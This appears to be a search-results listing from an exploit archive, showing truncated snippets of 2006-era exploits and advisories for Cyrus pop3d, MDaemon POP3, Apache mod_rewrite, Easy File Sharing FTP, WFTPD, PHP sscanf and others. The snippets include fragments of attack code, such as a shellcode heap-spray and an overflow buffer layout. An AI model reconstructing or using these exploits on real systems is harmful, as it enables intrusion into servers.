7303 matches found
cyrusimapd.txt
!/usr/bin/perl Creator: K-sPecial xzziroz.net of .aware awarenetwork.org Name: bid-18056.pl Date: 08/12/2006 Description: this is yet another exploit for the cyrus pop3d buffer overflow. I tried both public exploits and not either of them worked not that they don't but coding my own is generaly...
Brief analysis of the Linux and FreeBSD syscall with the shellcode-exploit warning-the black bar safety net
Article author: 7all Information source: evil octal information security team www.eviloctal.com） ==www.cciss.cn.== ==the bbs. cciss. cn.== Brief analysis of the Linux and FreeBSD syscall with the shellcode |=---------------= Brief analysis of the Linux and FreeBSD syscall with the...
nokiacrash.txt
function crash alert'Nokia Browser Crash by Qode'; shellcode = unescape'%ucccc'; fill = unescape'%ucccc'; addr = 0x02020202; var b = fill; while b.length Nokia Browser Crash by Qode...
mdaemon-user-py.txt
!/usr/bin/python import sys import struct import socket from time import sleep MDaemon Pre Authentication USER Heap Overflow Code based on Leon Juranic's exploit Coded by muts - [email protected] http://www.hackingdefined.com http://www.remote-exploit.org Tested on: Mdaemon 9.0.5 Mdaemon 7.2....
Alt-N MDaemon POP3 Server 9.06 - USER Remote Heap Overflow
Alt-N MDaemon POP3 Server 9.06 - USER Remote Heap Overflow !/usr/bin/python import sys import struct import socket from time import sleep MDaemon Pre Authentication USER Heap Overflow Code based on Leon Juranic's exploit Coded by muts - [email protected] http://www.hackingdefined.com...
Alt-N MDaemon POP3 Server < 9.06 - 'USER' Remote Heap Overflow
!/usr/bin/python import sys import struct import socket from time import sleep MDaemon Pre Authentication USER Heap Overflow Code based on Leon Juranic's exploit Coded by muts - [email protected] http://www.hackingdefined.com http://www.remote-exploit.org Tested on: Mdaemon 9.0.5 Mdaemon 7.2....
Apache 1.3.372.0.592.2.3 mod_rewrite - Remote Overflow
Apache 1.3.372.0.592.2.3 modrewrite - Remote Overflow !/bin/sh Exploit for Apache modrewrite off-by-one. Vulnerability discovered by Mark Dowd. CVE-2006-3747 by jack 2006-08-20 Thx to xuso for help me with the shellcode. I suppose that you've the "RewriteRule kung/. $1" rule if not you must...
Apache < 1.3.37, 2.0.59, 2.2.3 (mod_rewrite) Remote Overflow PoC
Exploit for multiple platform in category dos / poc ================================================================ Apache 2006-08-20 Thx to xuso for help me with the shellcode. I suppose that you've the "RewriteRule kung/. $1" rule if not you must recalculate adressess. Shellcode is based on...
Apache < 1.3.37 2.0.59 2.2.3 (mod_rewrite) Remote Overflow PoC
No description provided by source. !/bin/sh Exploit for Apache modrewrite off-by-one. Vulnerability discovered by Mark Dowd. CVE-2006-3747 by jack jack\x40gulcas\x2Eorg 2006-08-20 Thx to xuso for help me with the shellcode. I suppose that you've the "RewriteRule kung/. $1" rule if not you must...
Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow
!/bin/sh Exploit for Apache modrewrite off-by-one. Vulnerability discovered by Mark Dowd. CVE-2006-3747 by jack 2006-08-20 Thx to xuso for help me with the shellcode. I suppose that you've the "RewriteRule kung/. $1" rule if not you must recalculate adressess. Shellcode is based on Taeho Oh...
Easy File Sharing FTP Server 2.0 - 'PASS' Remote
!/usr/bin/python Easy File Sharing FTP Server 2.0 PASS 0day PoC exploit Proof of Concept: execute calc.exe Bug found by h07 Tested on XP SP2 polish Date: 28.07.2006 BUFFPASS + 0x20+0x2c+NOP 2571+0x41414141+\r\n EIP = 0x41414141 host = "127.0.0.1" port = 21 lenrecv = 1024 username = "anonymous"...
[EXPL] Easy File Sharing FTP Server PASS Buffer Overflow (Exploit)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
Texas Imperial Software WFTPD 3.23 - 'SIZE' Remote Buffer Overflow
/ wftpdexp.c WFTPD server 3.23 SIZE 0day remote buffer overflow exploit coded by h07 tested on XP SP2 polish, 2000 SP4 polish example.. C:\wftpdexp 0 0 192.168.0.2 h07 open 192.168.0.1 4444 WFTPD server 3.23 SIZE 0day remote buffer overflow exploit coded by h07 FTP response: 331 Give me your...
phpLocal.txt
Affected versions: php 5.1.4 and older, 4.4.3 and possibly older Cause: when php-s sscanf functions format argument contains argument swap and extra arguments are given like. sscanf'foo ','$1s',$bar then it reads an pointer to pointer to zval structure past the end of argument array by one. Php...
getpwnedmail-ppc.pl.txt
!/usr/bin/perl getpwnedmail.pl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright c 1999 David Nicol kevin-finisterres-mac-mini: kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhos...
exp_call_rand.pl.txt
!/usr/bin/perl -w use strict; expcallrand.pl Mon Apr 3 19:17:14 CEST 2006 Exploit solution against 2.6 stack randomization Using the "call %edx" technic. Copyright: bunker - http://rawlab.altervista.org 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 EXPLANATION: In 2.6 kernel we have a ghost...
exp_jmp_rand.pl.txt
!/usr/bin/perl -w use strict; expjmprand.pl Mon Apr 3 19:17:14 CEST 2006 Exploit solution against 2.6 stack randomization Using the "jmp %esp" technic. Copyright: bunker - http://rawlab.altervista.org 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 EXPLANATION: In 2.6 kernel we have a ghost...
wowroster15x.txt
Title : WoW Roster = 1.5.x Remote File Include hsList.php Discovered By :::: AG-Spider ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger ----------------------------------------------------------------------------- dork : "wow...
getpwnedmail-x86.pl.txt
!/usr/bin/perl getpwnedmail.pl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright c 1999 David Nicol kevin-finisterres-mac-mini: kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhos...
PHP 4.4.3/5.1.4 - 'sscanf' Local Buffer Overflow
? / hoagiephpsscanf.php PHP = 4.4.3 / 5.1.4 local buffer overflow exploit howto get offsets: set $baseaddr to 0x41414141 ulimit -c 20000 /etc/init.d/apache restart execute script via web browser tail /var/log/apache/error.log ... Wed Aug 16 15:07:10 2006 notice child pid 28222 exit signal...